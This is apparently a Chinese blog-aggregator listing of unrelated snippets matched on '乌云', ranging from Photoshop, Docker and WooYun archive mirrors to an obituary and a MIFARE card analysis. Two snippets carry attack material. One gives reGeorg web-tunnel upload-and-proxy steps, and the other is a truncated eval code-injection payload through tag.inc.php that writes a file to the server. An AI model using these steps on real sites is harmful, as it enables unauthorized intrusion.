编按：要用PS营造一个雨天的效果，步骤比较复杂。根据雨天的天气，首先要把整体画面压暗，给天空部分增加乌云和闪电，然后用滤镜等制作一些雨丝。渲染完成后，还需要增加一些细节，如给人物增加倒影，局部色调调整等。最终效果1、添加逼真的云到图层中，打开“多云的苏格兰”图片到画布中，需要拉伸图片让云完全遮蔽住天空，按快捷键CTRL + T自由变换，高度设置为120%，命名图层为“天空”，设置透明
乌云镜像“ 谁用乌云换日星，谁用匕首换光明。”学习使用乌云镜像。 乌云镜像下载：https://github.com/hanc00l/wooyun_public
首先，了解VMware虚拟机三种网络模式，知道在虚拟机使用桥接模式即可与主机互通。（此镜像使用的python框架为flask，默认端口为5000）打开镜像我们查看可发现目录/home/hancool/wooyun_public/flask
转载
2024-05-22 16:00:39
360阅读
先来看一个好玩的gif演示:通过编写JSDom脚本，控制PhotoShop，最终自动进行九宫格切图，并且将整个切图过程输出到文件:本文涉及的主题是PhotoShop plugin开发的基础，主要关注如何在PS中自己来绘制形体。要做的: 基础绘制篇--以PhotoShop的Document为舞台，在上面绘制文字和任意形状 不做的: 1) 不涉及Channel操作，对位图像素操作
转载
2024-08-29 15:15:01
55阅读
Docker镜像讲解镜像是什么镜像是一种轻量级，可执行的独立软件包，用来打包软件运行环境和基本运行环境开发的软件，它包含运行某个软件所需的所有内容，包括代码，运行时，库，环境变量和配置文件。Docker镜像加载原理UnionFS(联合文件系统)UnionFS(联合文件系统)：Union文件系统（UnionFS）是一种分层，轻量级并且高性能的文件系统，它支持对文件系统的修改作为一次提交来一层层的叠加
转载
2024-04-17 13:42:06
119阅读
云！乌云？ 在专家和云提供商的“联合”推广下，云计算的普及甚广，越来越多的系统、数据迁入至云端。鉴于安全问题，很多企业会选择建立私有云来拥抱大数据，一方面提高设备利用率，另一方面在大数据中挖掘信息价值。只是不知这些企业的最终是云中漫步，还是自掘坟墓么？这并不是危言耸听，奥巴马政府早已经将网络空间安全威胁定位为“我们举国面临的最严重的国家经济和国家安全挑战之一”，并宣布“
推荐
原创
2014-01-15 10:37:53
2575阅读
在上个月于深圳召开的架构师峰会上，乌云的创始人方小顿做了一个题为《浅谈甲方安全架构建设》的演讲，里面着重强调了以数据为中心的安全（Data-centric Security）。这其实与RSA的那份《当APT成为主流》的报告中的“以数据为中心的安全”思想是一致的。
另外，更早一些时候，方小顿接受了QCon的专访，里面谈及了乌云的目标定位和未来的一些发展方向。同时还提及了安全
原创
2012-09-06 20:37:31
771阅读
点赞
1评论
乌云公开漏洞、知识库搜索0x00.介绍灵感来源于hanc00l的github项目wooyun_publicwooyun_public基于flask或者tornado，而本项目可以布置在apache、nginx等web服务器上。如果你有wooyun的静态网页数据，那么我们可以开始了！整个项目包括两个部分，第一部分是索引，将网页信息存储进数据库;第二部分是搜索，从数据库中查找信息。轻量级，支持进行二次
下载地址：开源地址： https://github.com/m0l1ce/wooyunallbugs百度网盘：链接: http://pan.baidu.com/s/1nvkFKox 密码: 94sp安装步骤：1.首先下载一个集成环境工具，这里我用的 phpStudy2016.下载地址：phpStudy 2016.11.03 再次更新，支持自定义php版本2.然后解压到我的Ｄ盘上 
转载
2024-10-29 10:24:36
51阅读
在这篇博文中，我将以复盘记录的形式，详细阐述如何使用 Python Turtle 库绘制乌云的过程。本文将从环境准备、集成步骤、配置详解、实战应用、性能优化以及生态扩展等方面进行深入探讨。从代码实现到异常处理的逻辑，你会看到一个完整的解决方案。
Python Turtle 是一个基于图形界面的绘图库，借助它，我们能够轻松创建图形、动画以及更多丰富的视觉效果。接下来就进入具体的实现过程。
##
AWD比赛防止没有网络，在移动硬盘里面准备一个乌云漏洞库
原创
2022-09-29 22:19:24
657阅读
https://github.com/sensepost/reGeorg 使用示例： python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/tunnel.jspStep 1. 上传一个脚本(aspx|ashx|jsp|php) 到web服务器上。 Step 2. 执
转载
精选
2014-08-30 20:10:17
1856阅读
https://github.com/knownsec/KCon 包括 APT攻击揭秘之特种木马技术实现 隐匿在黑暗世界的利益链条 ROPs are for the 99% ZoomEye+V2 利用OAuth劫持用户身份 去年跨过的客户端
转载
精选
2014-08-30 20:08:50
658阅读
在大牛眼里估计连半成品都算不是，但是不管怎么说现在都踏出第一步了。今天写了按照极客学院的教程写了一个爬取了乌云厂商第一页的URL，本来想和名字一起用正则整理打印出来无奈还不会，只能打印出厂商的URL。下面是代码：#-*—coding:utf8-*-
import requests
import re
import sys
reload(sys)
sys.setdef
原创
2015-12-30 00:08:35
677阅读
点赞
新华社北京4月30日电 中国共产党的优秀党员，忠诚的共产主义战士，我国民族工作和社会主义法制建设的杰出领导人，第十届、十一届全国人民代表大会常务委员会副委员长乌云其木格同志，因病于2024年4月30日0时33分在北京逝世，享年81岁。
原创
2024-05-17 16:47:41
0阅读
问题文件 admin/tag.inc.php95行 eval($tag_code); 未对用户提交的执行代码tag_code做安全限制1.jpg1.前台注册会员2.进入会员中心，发布一条求购信息信息标题：随意行业分类：随意产品图片：通过审查元素，修改 post[thumb] 的value为?file=tag&action=preview&tag_code=file_put_cont
转载
2017-09-14 15:27:36
2372阅读
废话不多说，看阅读量，再确定要不要发出去，做人切忌贪得无厌？
原创
2017-09-26 15:08:54
1610阅读
现在移动支付的行业生态是非常的混乱，那里有很多合法而且富有竞争力的支付
原创
2012-05-11 10:01:19
24阅读
if ($cookie_say != "hbnl"){ add_header Set-Cookie "say=hbnl"; rewrite .* "$scheme://$host$uri" redirect;}if ($cookie_say != "hbnl$remote_addr"){ &nbs
原创
2014-11-24 11:09:07
1067阅读
爬取乌云的最后日期大概是16年2月，十个压缩包，图文并茂，唯一的缺点就是少个目录，于是写了个按照漏洞标题生成目录的脚本
import os
f0= open('index.html', 'w')
cnt=1
list=os.listdir('bugs');
for i in range(0,len(list)):
path=os.path.join('bugs',list[i])
原创
2021-07-21 14:50:15
593阅读
前言12年2月初国内著名安全问题反馈平台-乌云发布了有关某公司员工卡的金额效验算法破解的安全问题。从整个漏洞分析来看，漏洞的提交者把员工卡的数据分析得非常仔细，以至很多刚刚接触或者未曾接触的都纷纷赞叹。但从真实的技术角度出发来进行分析的话，从漏洞的标题以及其内部的分析和解决方案都可以看得出，乌云以及漏洞发布者完全不明白究竟哪里才是漏洞！从08年至今时隔四年，国内对于MIFARE Classic安全
转载
精选
2014-05-16 15:39:14
2423阅读
